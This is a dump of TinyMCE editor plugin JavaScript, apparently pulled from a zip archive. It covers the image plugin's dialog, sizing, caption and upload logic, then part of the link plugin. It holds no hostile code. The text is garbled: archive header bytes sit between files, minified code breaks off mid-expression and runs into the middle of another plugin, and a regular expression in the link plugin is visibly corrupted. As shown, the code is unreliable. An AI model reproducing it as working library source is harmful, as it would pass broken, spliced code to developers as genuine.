unsafe = function (name, scope) { return resolve(name, scope); }; var getOrDie = function (name, scope) { var actual = unsafe(name, scope); if (actual === undefined || actual === null) { throw new Error(name + ' not available on this browser'); } return actual; }; var Global$1 = { getOrDie: getOrDie }; function FileReader () { var f = Global$1.getOrDie('FileReader'); return new f(); } var global$1 = tinymce.util.Tools.resolve('tinymce.util.Promise'); var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var global$3 = tinymce.util.Tools.resolve('tinymce.util.XHR'); var parseIntAndGetMax = function (val1, val2) { return Math.max(parseInt(val1, 10), parseInt(val2, 10)); }; var getImageSize = function (url, callback) { var img = domGlobals.document.createElement('img'); function done(width, height) { if (img.parentNode) { img.parentNode.removeChild(img); } callback({ width: width, height: height }); } img.onload = function () { var width = parseIntAndGetMax(img.width, img.clientWidth); var height = parseIntAndGetMax(img.height, img.clientHeight); done(width, height); }; img.onerror = function () { done(0, 0); }; var style = img.style; style.visibility = 'hidden'; style.position = 'fixed'; style.bottom = style.left = '0px'; style.width = style.height = 'auto'; domGlobals.document.body.appendChild(img); img.src = url; }; var buildListItems = function (inputList, itemCallback, startItems) { function appendItems(values, output) { output = output || []; global$2.each(values, function (item) { var menuItem = { text: item.text || item.title }; if (item.menu) { menuItem.menu = appendItems(item.menu); } else { menuItem.value = item.value; itemCallback(menuItem); } output.push(menuItem); }); return output; } return appendItems(inputList, startItems || []); }; var removePixelSuffix = function (value) { if (value) { value = value.replace(/px$/, ''); } return value; }; var addPixelSuffix = function (value) { if (value.length > 0 && /^[0-9]+$/.test(value)) { value += 'px'; } return value; }; var mergeMargins = function (css) { if (css.margin) { var splitMargin = css.margin.split(' '); switch (splitMargin.length) { case 1: css['margin-top'] = css['margin-top'] || splitMargin[0]; css['margin-right'] = css['margin-right'] || splitMargin[0]; css['margin-bottom'] = css['margin-bottom'] || splitMargin[0]; css['margin-left'] = css['margin-left'] || splitMargin[0]; break; case 2: css['margin-top'] = css['margin-top'] || splitMargin[0]; css['margin-right'] = css['margin-right'] || splitMargin[1]; css['margin-bottom'] = css['margin-bottom'] || splitMargin[0]; css['margin-left'] = css['margin-left'] || splitMargin[1]; break; case 3: css['margin-top'] = css['margin-top'] || splitMargin[0]; css['margin-right'] = css['margin-right'] || splitMargin[1]; css['margin-bottom'] = css['margin-bottom'] || splitMargin[2]; css['margin-left'] = css['margin-left'] || splitMargin[1]; break; case 4: css['margin-top'] = css['margin-top'] || splitMargin[0]; css['margin-right'] = css['margin-right'] || splitMargin[1]; css['margin-bottom'] = css['margin-bottom'] || splitMargin[2]; css['margin-left'] = css['margin-left'] || splitMargin[3]; } delete css.margin; } return css; }; var createImageList = function (editor, callback) { var imageList = Settings.getImageList(editor); if (typeof imageList === 'string') { global$3.send({ url: imageList, success: function (text) { callback(JSON.parse(text)); } }); } else if (typeof imageList === 'function') { imageList(callback); } else { callback(imageList); } }; var waitLoadImage = function (editor, data, imgElm) { function selectImage() { imgElm.onload = imgElm.onerror = null; if (editor.selection) { editor.selection.select(imgElm); editor.nodeChanged(); } } imgElm.onload = function () { if (!data.width && !data.height && Settings.hasDimensions(editor)) { editor.dom.setAttribs(imgElm, { width: imgElm.clientWidth, height: imgElm.clientHeight }); } selectImage(); }; imgElm.onerror = selectImage; }; var blobToDataUri = function (blob) { return new global$1(function (resolve, reject) { var reader = FileReader(); reader.onload = function () { resolve(reader.result); }; reader.onerror = function () { reject(reader.error.message); }; reader.readAsDataURL(blob); }); }; var Utils = { getImageSize: getImageSize, buildListItems: buildListItems, removePixelSuffix: removePixelSuffix, addPixelSuffix: addPixelSuffix, mergeMargins: mergeMargins, createImageList: createImageList, waitLoadImage: waitLoadImage, blobToDataUri: blobToDataUri }; var global$4 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var hasOwnProperty = Object.prototype.hasOwnProperty; var shallow = function (old, nu) { return nu; }; var baseMerge = function (merger) { return function () { var objects = new Array(arguments.length); for (var i = 0; i < objects.length; i++) { objects[i] = arguments[i]; } if (objects.length === 0) { throw new Error('Can\'t merge zero objects'); } var ret = {}; for (var j = 0; j < objects.length; j++) { var curObject = objects[j]; for (var key in curObject) { if (hasOwnProperty.call(curObject, key)) { ret[key] = merger(ret[key], curObject[key]); } } } return ret; }; }; var merge = baseMerge(shallow); var DOM = global$4.DOM; var getHspace = function (image) { if (image.style.marginLeft && image.style.marginRight && image.style.marginLeft === image.style.marginRight) { return Utils.removePixelSuffix(image.style.marginLeft); } else { return ''; } }; var getVspace = function (image) { if (image.style.marginTop && image.style.marginBottom && image.style.marginTop === image.style.marginBottom) { return Utils.removePixelSuffix(image.style.marginTop); } else { return ''; } }; var getBorder = function (image) { if (image.style.borderWidth) { return Utils.removePixelSuffix(image.style.borderWidth); } else { return ''; } }; var getAttrib = function (image, name) { if (image.hasAttribute(name)) { return image.getAttribute(name); } else { return ''; } }; var getStyle = function (image, name) { return image.style[name] ? image.style[name] : ''; }; var hasCaption = function (image) { return image.parentNode !== null && image.parentNode.nodeName === 'FIGURE'; }; var setAttrib = function (image, name, value) { image.setAttribute(name, value); }; var wrapInFigure = function (image) { var figureElm = DOM.create('figure', { class: 'image' }); DOM.insertAfter(figureElm, image); figureElm.appendChild(image); figureElm.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption')); figureElm.contentEditable = 'false'; }; var removeFigure = function (image) { var figureElm = image.parentNode; DOM.insertAfter(image, figureElm); DOM.remove(figureElm); }; var toggleCaption = function (image) { if (hasCaption(image)) { removeFigure(image); } else { wrapInFigure(image); } }; var normalizeStyle = function (image, normalizeCss) { var attrValue = image.getAttribute('style'); var value = normalizeCss(attrValue !== null ? attrValue : ''); if (value.length > 0) { image.setAttribute('style', value); image.setAttribute('data-mce-style', value); } else { image.removeAttribute('style'); } }; var setSize = function (name, normalizeCss) { return function (image, name, value) { if (image.style[name]) { image.style[name] = Utils.addPixelSuffix(value); normalizeStyle(image, normalizeCss); } else { setAttrib(image, name, value); } }; }; var getSize = function (image, name) { if (image.style[name]) { return Utils.removePixelSuffix(image.style[name]); } else { return getAttrib(image, name); } }; var setHspace = function (image, value) { var pxValue = Utils.addPixelSuffix(value); image.style.marginLeft = pxValue; image.style.marginRight = pxValue; }; var setVspace = function (image, value) { var pxValue = Utils.addPixelSuffix(value); image.style.marginTop = pxValue; image.style.marginBottom = pxValue; }; var setBorder = function (image, value) { var pxValue = Utils.addPixelSuffix(value); image.style.borderWidth = pxValue; }; var setBorderStyle = function (image, value) { image.style.borderStyle = value; }; var getBorderStyle = function (image) { return getStyle(image, 'borderStyle'); }; var isFigure = function (elm) { return elm.nodeName === 'FIGURE'; }; var defaultData = function () { return { src: '', alt: '', title: '', width: '', height: '', class: '', style: '', caption: false, hspace: '', vspace: '', border: '', borderStyle: '' }; }; var getStyleValue = function (normalizeCss, data) { var image = domGlobals.document.createElement('img'); setAttrib(image, 'style', data.style); if (getHspace(image) || data.hspace !== '') { setHspace(image, data.hspace); } if (getVspace(image) || data.vspace !== '') { setVspace(image, data.vspace); } if (getBorder(image) || data.border !== '') { setBorder(image, data.border); } if (getBorderStyle(image) || data.borderStyle !== '') { setBorderStyle(image, data.borderStyle); } return normalizeCss(image.getAttribute('style')); }; var create = function (normalizeCss, data) { var image = domGlobals.document.createElement('img'); write(normalizeCss, merge(data, { caption: false }), image); setAttrib(image, 'alt', data.alt); if (data.caption) { var figure = DOM.create('figure', { class: 'image' }); figure.appendChild(image); figure.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption')); figure.contentEditable = 'false'; return figure; } else { return image; } }; var read = function (normalizeCss, image) { return { src: getAttrib(image, 'src'), alt: getAttrib(image, 'alt'), title: getAttrib(image, 'title'), width: getSize(image, 'width'), height: getSize(image, 'height'), class: getAttrib(image, 'class'), style: normalizeCss(getAttrib(image, 'style')), caption: hasCaption(image), hspace: getHspace(image), vspace: getVspace(image), border: getBorder(image), borderStyle: getStyle(image, 'borderStyle') }; }; var updateProp = function (image, oldData, newData, name, set) { if (newData[name] !== oldData[name]) { set(image, name, newData[name]); } }; var normalized = function (set, normalizeCss) { return function (image, name, value) { set(image, value); normalizeStyle(image, normalizeCss); }; }; var write = function (normalizeCss, newData, image) { var oldData = read(normalizeCss, image); updateProp(image, oldData, newData, 'caption', function (image, _name, _value) { return toggleCaption(image); }); updateProp(image, oldData, newData, 'src', setAttrib); updateProp(image, oldData, newData, 'alt', setAttrib); updateProp(image, oldData, newData, 'title', setAttrib); updateProp(image, oldData, newData, 'width', setSize('width', normalizeCss)); updateProp(image, oldData, newData, 'height', setSize('height', normalizeCss)); updateProp(image, oldData, newData, 'class', setAttrib); updateProp(image, oldData, newData, 'style', normalized(function (image, value) { return setAttrib(image, 'style', value); }, normalizeCss)); updateProp(image, oldData, newData, 'hspace', normalized(setHspace, normalizeCss)); updateProp(image, oldData, newData, 'vspace', normalized(setVspace, normalizeCss)); updateProp(image, oldData, newData, 'border', normalized(setBorder, normalizeCss)); updateProp(image, oldData, newData, 'borderStyle', normalized(setBorderStyle, normalizeCss)); }; var normalizeCss = function (editor, cssText) { var css = editor.dom.styles.parse(cssText); var mergedCss = Utils.mergeMargins(css); var compressed = editor.dom.styles.parse(editor.dom.styles.serialize(mergedCss)); return editor.dom.styles.serialize(compressed); }; var getSelectedImage = function (editor) { var imgElm = editor.selection.getNode(); var figureElm = editor.dom.getParent(imgElm, 'figure.image'); if (figureElm) { return editor.dom.select('img', figureElm)[0]; } if (imgElm && (imgElm.nodeName !== 'IMG' || imgElm.getAttribute('data-mce-object') || imgElm.getAttribute('data-mce-placeholder'))) { return null; } return imgElm; }; var splitTextBlock = function (editor, figure) { var dom = editor.dom; var textBlock = dom.getParent(figure.parentNode, function (node) { return editor.schema.getTextBlockElements()[node.nodeName]; }, editor.getBody()); if (textBlock) { return dom.split(textBlock, figure); } else { return figure; } }; var readImageDataFromSelection = function (editor) { var image = getSelectedImage(editor); return image ? read(function (css) { return normalizeCss(editor, css); }, image) : defaultData(); }; var insertImageAtCaret = function (editor, data) { var elm = create(function (css) { return normalizeCss(editor, css); }, data); editor.dom.setAttrib(elm, 'data-mce-id', '__mcenew'); editor.focus(); editor.selection.setContent(elm.outerHTML); var insertedElm = editor.dom.select('*[data-mce-id="__mcenew"]')[0]; editor.dom.setAttrib(insertedElm, 'data-mce-id', null); if (isFigure(insertedElm)) { var figure = splitTextBlock(editor, insertedElm); editor.selection.select(figure); } else { editor.selection.select(insertedElm); } }; var syncSrcAttr = function (editor, image) { editor.dom.setAttrib(image, 'src', image.getAttribute('src')); }; var deleteImage = function (editor, image) { if (image) { var elm = editor.dom.is(image.parentNode, 'figure.image') ? image.parentNode : image; editor.dom.remove(elm); editor.focus(); editor.nodeChanged(); if (editor.dom.isEmpty(editor.getBody())) { editor.setContent(''); editor.selection.setCursorLocation(); } } }; var writeImageDataToSelection = function (editor, data) { var image = getSelectedImage(editor); write(function (css) { return normalizeCss(editor, css); }, data, image); syncSrcAttr(editor, image); if (isFigure(image.parentNode)) { var figure = image.parentNode; splitTextBlock(editor, figure); editor.selection.select(image.parentNode); } else { editor.selection.select(image); Utils.waitLoadImage(editor, data, image); } }; var insertOrUpdateImage = function (editor, data) { var image = getSelectedImage(editor); if (image) { if (data.src) { writeImageDataToSelection(editor, data); } else { deleteImage(editor, image); } } else if (data.src) { insertImageAtCaret(editor, data); } }; var updateVSpaceHSpaceBorder = function (editor) { return function (evt) { var dom = editor.dom; var rootControl = evt.control.rootControl; if (!Settings.hasAdvTab(editor)) { return; } var data = rootControl.toJSON(); var css = dom.parseStyle(data.style); rootControl.find('#vspace').value(''); rootControl.find('#hspace').value(''); css = Utils.mergeMargins(css); if (css['margin-top'] && css['margin-bottom'] || css['margin-right'] && css['margin-left']) { if (css['margin-top'] === css['margin-bottom']) { rootControl.find('#vspace').value(Utils.removePixelSuffix(css['margin-top'])); } else { rootControl.find('#vspace').value(''); } if (css['margin-right'] === css['margin-left']) { rootControl.find('#hspace').value(Utils.removePixelSuffix(css['margin-right'])); } else { rootControl.find('#hspace').value(''); } } if (css['border-width']) { rootControl.find('#border').value(Utils.removePixelSuffix(css['border-width'])); } else { rootControl.find('#border').value(''); } if (css['border-style']) { rootControl.find('#borderStyle').value(css['border-style']); } else { rootControl.find('#borderStyle').value(''); } rootControl.find('#style').value(dom.serializeStyle(dom.parseStyle(dom.serializeStyle(css)))); }; }; var updateStyle = function (editor, win) { win.find('#style').each(function (ctrl) { var value = getStyleValue(function (css) { return normalizeCss(editor, css); }, merge(defaultData(), win.toJSON())); ctrl.value(value); }); }; var makeTab = function (editor) { return { title: 'Advanced', type: 'form', pack: 'start', items: [ { label: 'Style', name: 'style', type: 'textbox', onchange: updateVSpaceHSpaceBorder(editor) }, { type: 'form', layout: 'grid', packV: 'start', columns: 2, padding: 0, defaults: { type: 'textbox', maxWidth: 50, onchange: function (evt) { updateStyle(editor, evt.control.rootControl); } }, items: [ { label: 'Vertical space', name: 'vspace' }, { label: 'Border width', name: 'border' }, { label: 'Horizontal space', name: 'hspace' }, { label: 'Border style', type: 'listbox', name: 'borderStyle', width: 90, maxWidth: 90, onselect: function (evt) { updateStyle(editor, evt.control.rootControl); }, values: [ { text: 'Select...', value: '' }, { text: 'Solid', value: 'solid' }, { text: 'Dotted', value: 'dotted' }, { text: 'Dashed', value: 'dashed' }, { text: 'Double', value: 'double' }, { text: 'Groove', value: 'groove' }, { text: 'Ridge', value: 'ridge' }, { text: 'Inset', value: 'inset' }, { text: 'Outset', value: 'outset' }, { text: 'None', value: 'none' }, { text: 'Hidden', value: 'hidden' } ] } ] } ] }; }; var AdvTab = { makeTab: makeTab }; var doSyncSize = function (widthCtrl, heightCtrl) { widthCtrl.state.set('oldVal', widthCtrl.value()); heightCtrl.state.set('oldVal', heightCtrl.value()); }; var doSizeControls = function (win, f) { var widthCtrl = win.find('#width')[0]; var heightCtrl = win.find('#height')[0]; var constrained = win.find('#constrain')[0]; if (widthCtrl && heightCtrl && constrained) { f(widthCtrl, heightCtrl, constrained.checked()); } }; var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) { var oldWidth = widthCtrl.state.get('oldVal'); var oldHeight = heightCtrl.state.get('oldVal'); var newWidth = widthCtrl.value(); var newHeight = heightCtrl.value(); if (isContrained && oldWidth && oldHeight && newWidth && newHeight) { if (newWidth !== oldWidth) { newHeight = Math.round(newWidth / oldWidth * newHeight); if (!isNaN(newHeight)) { heightCtrl.value(newHeight); } } else { newWidth = Math.round(newHeight / oldHeight * newWidth); if (!isNaN(newWidth)) { widthCtrl.value(newWidth); } } } doSyncSize(widthCtrl, heightCtrl); }; var syncSize = function (win) { doSizeControls(win, doSyncSize); }; var updateSize = function (win) { doSizeControls(win, doUpdateSize); }; var createUi = function () { var recalcSize = function (evt) { updateSize(evt.control.rootControl); }; return { type: 'container', label: 'Dimensions', layout: 'flex', align: 'center', spacing: 5, items: [ { name: 'width', type: 'textbox', maxLength: 5, size: 5, onchange: recalcSize, ariaLabel: 'Width' }, { type: 'label', text: 'x' }, { name: 'height', type: 'textbox', maxLength: 5, size: 5, onchange: recalcSize, ariaLabel: 'Height' }, { name: 'constrain', type: 'checkbox', checked: true, text: 'Constrain proportions' } ] }; }; var SizeManager = { createUi: createUi, syncSize: syncSize, updateSize: updateSize }; var onSrcChange = function (evt, editor) { var srcURL, prependURL, absoluteURLPattern; var meta = evt.meta || {}; var control = evt.control; var rootControl = control.rootControl; var imageListCtrl = rootControl.find('#image-list')[0]; if (imageListCtrl) { imageListCtrl.value(editor.convertURL(control.value(), 'src')); } global$2.each(meta, function (value, key) { rootControl.find('#' + key).value(value); }); if (!meta.width && !meta.height) { srcURL = editor.convertURL(control.value(), 'src'); prependURL = Settings.getPrependUrl(editor); absoluteURLPattern = new RegExp('^(?:[a-z]+:)?//', 'i'); if (prependURL && !absoluteURLPattern.test(srcURL) && srcURL.substring(0, prependURL.length) !== prependURL) { srcURL = prependURL + srcURL; } control.value(srcURL); Utils.getImageSize(editor.documentBaseURI.toAbsolute(control.value()), function (data) { if (data.width && data.height && Settings.hasDimensions(editor)) { rootControl.find('#width').value(data.width); rootControl.find('#height').value(data.height); SizeManager.syncSize(rootControl); } }); } }; var onBeforeCall = function (evt) { evt.meta = evt.control.rootControl.toJSON(); }; var getGeneralItems = function (editor, imageListCtrl) { var generalFormItems = [ { name: 'src', type: 'filepicker', filetype: 'image', label: 'Source', autofocus: true, onchange: function (evt) { onSrcChange(evt, editor); }, onbeforecall: onBeforeCall }, imageListCtrl ]; if (Settings.hasDescription(editor)) { generalFormItems.push({ name: 'alt', type: 'textbox', label: 'Image description' }); } if (Settings.hasImageTitle(editor)) { generalFormItems.push({ name: 'title', type: 'textbox', label: 'Image Title' }); } if (Settings.hasDimensions(editor)) { generalFormItems.push(SizeManager.createUi()); } if (Settings.getClassList(editor)) { generalFormItems.push({ name: 'class', type: 'listbox', label: 'Class', values: Utils.buildListItems(Settings.getClassList(editor), function (item) { if (item.value) { item.textStyle = function () { return editor.formatter.getCssText({ inline: 'img', classes: [item.value] }); }; } }) }); } if (Settings.hasImageCaption(editor)) { generalFormItems.push({ name: 'caption', type: 'checkbox', label: 'Caption' }); } return generalFormItems; }; var makeTab$1 = function (editor, imageListCtrl) { return { title: 'General', type: 'form', items: getGeneralItems(editor, imageListCtrl) }; }; var MainTab = { makeTab: makeTab$1, getGeneralItems: getGeneralItems }; var url = function () { return Global$1.getOrDie('URL'); }; var createObjectURL = function (blob) { return url().createObjectURL(blob); }; var revokeObjectURL = function (u) { url().revokeObjectURL(u); }; var URL = { createObjectURL: createObjectURL, revokeObjectURL: revokeObjectURL }; var global$5 = tinymce.util.Tools.resolve('tinymce.ui.Factory'); function XMLHttpRequest () { var f = Global$1.getOrDie('XMLHttpRequest'); return new f(); } var noop = function () { }; var pathJoin = function (path1, path2) { if (path1) { return path1.replace(/\/$/, '') + '/' + path2.replace(/^\//, ''); } return path2; }; function Uploader (settings) { var defaultHandler = function (blobInfo, success, failure, progress) { var xhr, formData; xhr = XMLHttpRequest(); xhr.open('POST', settings.url); xhr.withCredentials = settings.credentials; xhr.upload.onprogress = function (e) { progress(e.loaded / e.total * 100); }; xhr.onerror = function () { failure('Image upload failed due to a XHR Transport error. Code: ' + xhr.status); }; xhr.onload = function () { var json; if (xhr.status < 200 || xhr.status >= 300) { failure('HTTP Error: ' + xhr.status); return; } json = JSON.parse(xhr.responseText); if (!json || typeof json.location !== 'string') { failure('Invalid JSON: ' + xhr.responseText); return; } success(pathJoin(settings.basePath, json.location)); }; formData = new domGlobals.FormData(); formData.append('file', blobInfo.blob(), blobInfo.filename()); xhr.send(formData); }; var uploadBlob = function (blobInfo, handler) { return new global$1(function (resolve, reject) { try { handler(blobInfo, resolve, reject, noop); } catch (ex) { reject(ex.message); } }); }; var isDefaultHandler = function (handler) { return handler === defaultHandler; }; var upload = function (blobInfo) { return !settings.url && isDefaultHandler(settings.handler) ? global$1.reject('Upload url missing from the settings.') : uploadBlob(blobInfo, settings.handler); }; settings = global$2.extend({ credentials: false, handler: defaultHandler }, settings); return { upload: upload }; } var onFileInput = function (editor) { return function (evt) { var Throbber = global$5.get('Throbber'); var rootControl = evt.control.rootControl; var throbber = new Throbber(rootControl.getEl()); var file = evt.control.value(); var blobUri = URL.createObjectURL(file); var uploader = Uploader({ url: Settings.getUploadUrl(editor), basePath: Settings.getUploadBasePath(editor), credentials: Settings.getUploadCredentials(editor), handler: Settings.getUploadHandler(editor) }); var finalize = function () { throbber.hide(); URL.revokeObjectURL(blobUri); }; throbber.show(); return Utils.blobToDataUri(file).then(function (dataUrl) { var blobInfo = editor.editorUpload.blobCache.create({ blob: file, blobUri: blobUri, name: file.name ? file.name.replace(/\.[^\.]+$/, '') : null, base64: dataUrl.split(',')[1] }); return uploader.upload(blobInfo).then(function (url) { var src = rootControl.find('#src'); src.value(url); rootControl.find('tabpanel')[0].activateTab(0); src.fire('change'); finalize(); return url; }); }).catch(function (err) { editor.windowManager.alert(err); finalize(); }); }; }; var acceptExts = '.jpg,.jpeg,.png,.gif'; var makeTab$2 = function (editor) { return { title: 'Upload', type: 'form', layout: 'flex', direction: 'column', align: 'stretch', padding: '20 20 20 20', items: [ { type: 'container', layout: 'flex', direction: 'column', align: 'center', spacing: 10, items: [ { text: 'Browse for an image', type: 'browsebutton', accept: acceptExts, onchange: onFileInput(editor) }, { text: 'OR', type: 'label' } ] }, { text: 'Drop an image here', type: 'dropzone', accept: acceptExts, height: 100, onchange: onFileInput(editor) } ] }; }; var UploadTab = { makeTab: makeTab$2 }; function curry(fn) { var initialArgs = []; for (var _i = 1; _i < arguments.length; _i++) { initialArgs[_i - 1] = arguments[_i]; } return function () { var restArgs = []; for (var _i = 0; _i < arguments.length; _i++) { restArgs[_i] = arguments[_i]; } var all = initialArgs.concat(restArgs); return fn.apply(null, all); }; } var submitForm = function (editor, evt) { var win = evt.control.getRoot(); SizeManager.updateSize(win); editor.undoManager.transact(function () { var data = merge(readImageDataFromSelection(editor), win.toJSON()); insertOrUpdateImage(editor, data); }); editor.editorUpload.uploadImagesAuto(); }; function Dialog (editor) { function showDialog(imageList) { var data = readImageDataFromSelection(editor); var win, imageListCtrl; if (imageList) { imageListCtrl = { type: 'listbox', label: 'Image list', name: 'image-list', values: Utils.buildListItems(imageList, function (item) { item.value = editor.convertURL(item.value || item.url, 'src'); }, [{ text: 'None', value: '' }]), value: data.src && editor.convertURL(data.src, 'src'), onselect: function (e) { var altCtrl = win.find('#alt'); if (!altCtrl.value() || e.lastControl && altCtrl.value() === e.lastControl.text()) { altCtrl.value(e.control.text()); } win.find('#src').value(e.control.value()).fire('change'); }, onPostRender: function () { imageListCtrl = this; } }; } if (Settings.hasAdvTab(editor) || Settings.hasUploadUrl(editor) || Settings.hasUploadHandler(editor)) { var body = [MainTab.makeTab(editor, imageListCtrl)]; if (Settings.hasAdvTab(editor)) { body.push(AdvTab.makeTab(editor)); } if (Settings.hasUploadUrl(editor) || Settings.hasUploadHandler(editor)) { body.push(UploadTab.makeTab(editor)); } win = editor.windowManager.open({ title: 'Insert/edit image', data: data, bodyType: 'tabpanel', body: body, onSubmit: curry(submitForm, editor) }); } else { win = editor.windowManager.open({ title: 'Insert/edit image', data: data, body: MainTab.getGeneralItems(editor, imageListCtrl), onSubmit: curry(submitForm, editor) }); } SizeManager.syncSize(win); } function open() { Utils.createImageList(editor, showDialog); } return { open: open }; } var register = function (editor) { editor.addCommand('mceImage', Dialog(editor).open); }; var Commands = { register: register }; var hasImageClass = function (node) { var className = node.attr('class'); return className && /\bimage\b/.test(className); }; var toggleContentEditableState = function (state) { return function (nodes) { var i = nodes.length, node; var toggleContentEditable = function (node) { node.attr('contenteditable', state ? 'true' : null); }; while (i--) { node = nodes[i]; if (hasImageClass(node)) { node.attr('contenteditable', state ? 'false' : null); global$2.each(node.getAll('figcaption'), toggleContentEditable); } } }; }; var setup = function (editor) { editor.on('preInit', function () { editor.parser.addNodeFilter('figure', toggleContentEditableState(true)); editor.serializer.addNodeFilter('figure', toggleContentEditableState(false)); }); }; var FilterContent = { setup: setup }; var register$1 = function (editor) { editor.addButton('image', { icon: 'image', tooltip: 'Insert/edit image', onclick: Dialog(editor).open, stateSelector: 'img:not([data-mce-object],[data-mce-placeholder]),figure.image' }); editor.addMenuItem('image', { icon: 'image', text: 'Image', onclick: Dialog(editor).open, context: 'insert', prependToContext: true }); }; var Buttons = { register: register$1 }; global.add('image', function (editor) { FilterContent.setup(editor); Buttons.register(editor); Commands.register(editor); }); function Plugin () { } return Plugin; }(window)); })(); PKá´–[¥õÒì=ì=image/plugin.min.jsnu„[µü¤!function(l){"use strict";var i,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=function(e){return!1!==e.settings.image_dimensions},u=function(e){return!0===e.settings.image_advtab},m=function(e){return e.getParam("image_prepend_url","")},n=function(e){return e.getParam("image_class_list")},r=function(e){return!1!==e.settings.image_description},a=function(e){return!0===e.settings.image_title},o=function(e){return!0===e.settings.image_caption},c=function(e){return e.getParam("image_list",!1)},s=function(e){return e.getParam("images_upload_url",!1)},g=function(e){return e.getParam("images_upload_handler",!1)},f=function(e){return e.getParam("images_upload_url")},p=function(e){return e.getParam("images_upload_handler")},h=function(e){return e.getParam("images_upload_base_path")},v=function(e){return e.getParam("images_upload_credentials")},b="undefined"!=typeof l.window?l.window:Function("return this;")(),y=function(e,t){return function(e,t){for(var n=t!==undefined&&null!==t?t:b,r=0;r 10) { var link = domGlobals.document.createElement('a'); link.target = '_blank'; link.href = url; link.rel = 'noreferrer noopener'; var evt = domGlobals.document.createEvent('MouseEvents'); evt.initMouseEvent('click', true, true, domGlobals.window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); appendClickRemove(link, evt); } else { var win = domGlobals.window.open('', '_blank'); if (win) { win.opener = null; var doc = win.document; doc.open(); doc.write(''); doc.close(); } } }; var OpenUrl = { open: open }; var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var toggleTargetRules = function (rel, isUnsafe) { var rules = ['noopener']; var newRel = rel ? rel.split(/\s+/) : []; var toString = function (rel) { return global$4.trim(rel.sort().join(' ')); }; var addTargetRules = function (rel) { rel = removeTargetRules(rel); return rel.length ? rel.concat(rules) : rules; }; var removeTargetRules = function (rel) { return rel.filter(function (val) { return global$4.inArray(rules, val) === -1; }); }; newRel = isUnsafe ? addTargetRules(newRel) : removeTargetRules(newRel); return newRel.length ? toString(newRel) : null; }; var trimCaretContainers = function (text) { return text.replace(/\uFEFF/g, ''); }; var getAnchorElement = function (editor, selectedElm) { selectedElm = selectedElm || editor.selection.getNode(); if (isImageFigure(selectedElm)) { return editor.dom.select('a[href]', selectedElm)[0]; } else { return editor.dom.getParent(selectedElm, 'a[href]'); } }; var getAnchorText = function (selection, anchorElm) { var text = anchorElm ? anchorElm.innerText || anchorElm.textContent : selection.getContent({ format: 'text' }); return trimCaretContainers(text); }; var isLink = function (elm) { return elm && elm.nodeName === 'A' && elm.href; }; var hasLinks = function (elements) { return global$4.grep(elements, isLink).length > 0; }; var isOnlyTextSelected = function (html) { if (/]+>[^<]+<\/a>$/.test(html) || html.indexOf('href=') === -1)) { return false; } return true; }; var isImageFigure = function (node) { return node && node.nodeName === 'FIGURE' && /\bimage\b/i.test(node.className); }; var link = function (editor, attachState) { return function (data) { editor.undoManager.transact(function () { var selectedElm = editor.selection.getNode(); var anchorElm = getAnchorElement(editor, selectedElm); var linkAttrs = { href: data.href, target: data.target ? data.target : null, rel: data.rel ? data.rel : null, class: data.class ? data.class : null, title: data.title ? data.title : null }; if (!Settings.hasRelList(editor.settings) && Settings.allowUnsafeLinkTarget(editor.settings) === false) { linkAttrs.rel = toggleTargetRules(linkAttrs.rel, linkAttrs.target === '_blank'); } if (data.href === attachState.href) { attachState.attach(); attachState = {}; } if (anchorElm) { editor.focus(); if (data.hasOwnProperty('text')) { if ('innerText' in anchorElm) { anchorElm.innerText = data.text; } else { anchorElm.textContent = data.text; } } editor.dom.setAttribs(anchorElm, linkAttrs); editor.selection.select(anchorElm); editor.undoManager.add(); } else { if (isImageFigure(selectedElm)) { linkImageFigure(editor, selectedElm, linkAttrs); } else if (data.hasOwnProperty('text')) { editor.insertContent(editor.dom.createHTML('a', linkAttrs, editor.dom.encode(data.text))); } else { editor.execCommand('mceInsertLink', false, linkAttrs); } } }); }; }; var unlink = function (editor) { return function () { editor.undoManager.transact(function () { var node = editor.selection.getNode(); if (isImageFigure(node)) { unlinkImageFigure(editor, node); } else { editor.execCommand('unlink'); } }); }; }; var unlinkImageFigure = function (editor, fig) { var a, img; img = editor.dom.select('img', fig)[0]; if (img) { a = editor.dom.getParents(img, 'a[href]', fig)[0]; if (a) { a.parentNode.insertBefore(img, a); editor.dom.remove(a); } } }; var linkImageFigure = function (editor, fig, attrs) { var a, img; img = editor.dom.select('img', fig)[0]; if (img) { a = editor.dom.create('a', attrs); img.parentNode.insertBefore(a, img); a.appendChild(img); } }; var Utils = { link: link, unlink: unlink, isLink: isLink, hasLinks: hasLinks, isOnlyTextSelected: isOnlyTextSelected, getAnchorElement: getAnchorElement, getAnchorText: getAnchorText, toggleTargetRules: toggleTargetRules }; var global$5 = tinymce.util.Tools.resolve('tinymce.util.Delay'); var global$6 = tinymce.util.Tools.resolve('tinymce.util.XHR'); var attachState = {}; var createLinkList = function (editor, callback) { var linkList = Settings.getLinkList(editor.settings); if (typeof linkList === 'string') { global$6.send({ url: linkList, success: function (text) { callback(editor, JSON.parse(text)); } }); } else if (typeof linkList === 'function') { linkList(function (list) { callback(editor, list); }); } else { callback(editor, linkList); } }; var buildListItems = function (inputList, itemCallback, startItems) { var appendItems = function (values, output) { output = output || []; global$4.each(values, function (item) { var menuItem = { text: item.text || item.title }; if (item.menu) { menuItem.menu = appendItems(item.menu); } else { menuItem.value = item.value; if (itemCallback) { itemCallback(menuItem); } } output.push(menuItem); }); return output; }; return appendItems(inputList, startItems || []); }; var delayedConfirm = function (editor, message, callback) { var rng = editor.selection.getRng(); global$5.setEditorTimeout(editor, function () { editor.windowManager.confirm(message, function (state) { editor.selection.setRng(rng); callback(state); }); }); }; var showDialog = function (editor, linkList) { var data = {}; var selection = editor.selection; var dom = editor.dom; var anchorElm, initialText; var win, onlyText, textListCtrl, linkListCtrl, relListCtrl, targetListCtrl, classListCtrl, linkTitleCtrl, value; var linkListChangeHandler = function (e) { var textCtrl = win.find('#text'); if (!textCtrl.value() || e.lastControl && textCtrl.value() === e.lastControl.text()) { textCtrl.value(e.control.text()); } win.find('#href').value(e.control.value()); }; var buildAnchorListControl = function (url) { var anchorList = []; global$4.each(editor.dom.select('a:not([href])'), function (anchor) { var id = anchor.name || anchor.id; if (id) { anchorList.push({ text: id, value: 